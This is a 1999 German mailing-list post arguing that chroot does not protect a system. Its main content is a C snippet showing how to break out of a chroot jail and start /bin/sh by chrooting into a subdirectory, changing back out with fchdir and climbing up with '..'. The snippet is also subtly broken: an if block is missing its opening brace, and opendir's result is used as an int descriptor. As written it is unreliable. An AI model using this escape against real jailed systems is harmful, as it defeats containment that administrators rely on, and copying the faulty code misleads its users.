change root für ssh

(Lutz Donnerhacke) lutz at iks-jena.de
Die Mai 25 09:29:20 CEST 1999


* Jan-Benedict Glaw wrote:
>2. Ein user "mario" loggt sich irgendwie ein (Console, telnet, ssh) und
>bekommt sein home dir immer als root dir vorgelegt (mit der Erfordernis,
>alle wichtigen Programme doppelt und dreifach im Dateisystem zu haben.

Nope. Hardlinks tun es auch. Allerdings ist chroot nicht als Schutzmaßnahme
zu gebrauchen. Übliche Anwendung ist vielmehr, irgendwelche festkompilierten
Pfade an andere Stellen zu legen. Beispiel: /etc/passwd ist im Nutzerhirn
eingebrannt => ftpd mit chroot laufen lassen, um das anders aufzulösen.
Anderes Beispiel ist eine präkompilierte Software als *-Office.

Wenn man in einer chroot ist, kommt man leicht wieder raus:

#ifndef POSIX
  int fd = opendir(".");  /* handle auf aktuelles Verzeichnis */
#endif
  
  if(0 != mkdir("fool chroot", 0700))
    perror("mkdir:");
    exit(1);
  }
  
  if(0 != chroot("./fool chroot")) { /* POSIX requires an unmodified */
    perror("chroot:");               /* current working directory. */
    exit(1);
  }

#ifndef POSIX
  if(0 != fchdir(fd)) {
    perror("fchdir:");
    exit(1);
  }
#endif

  if(0 != chroot("../../../../../../../../../..")) {
    perror("chroot:");
    exit(1);
  }
  
  system("/bin/sh");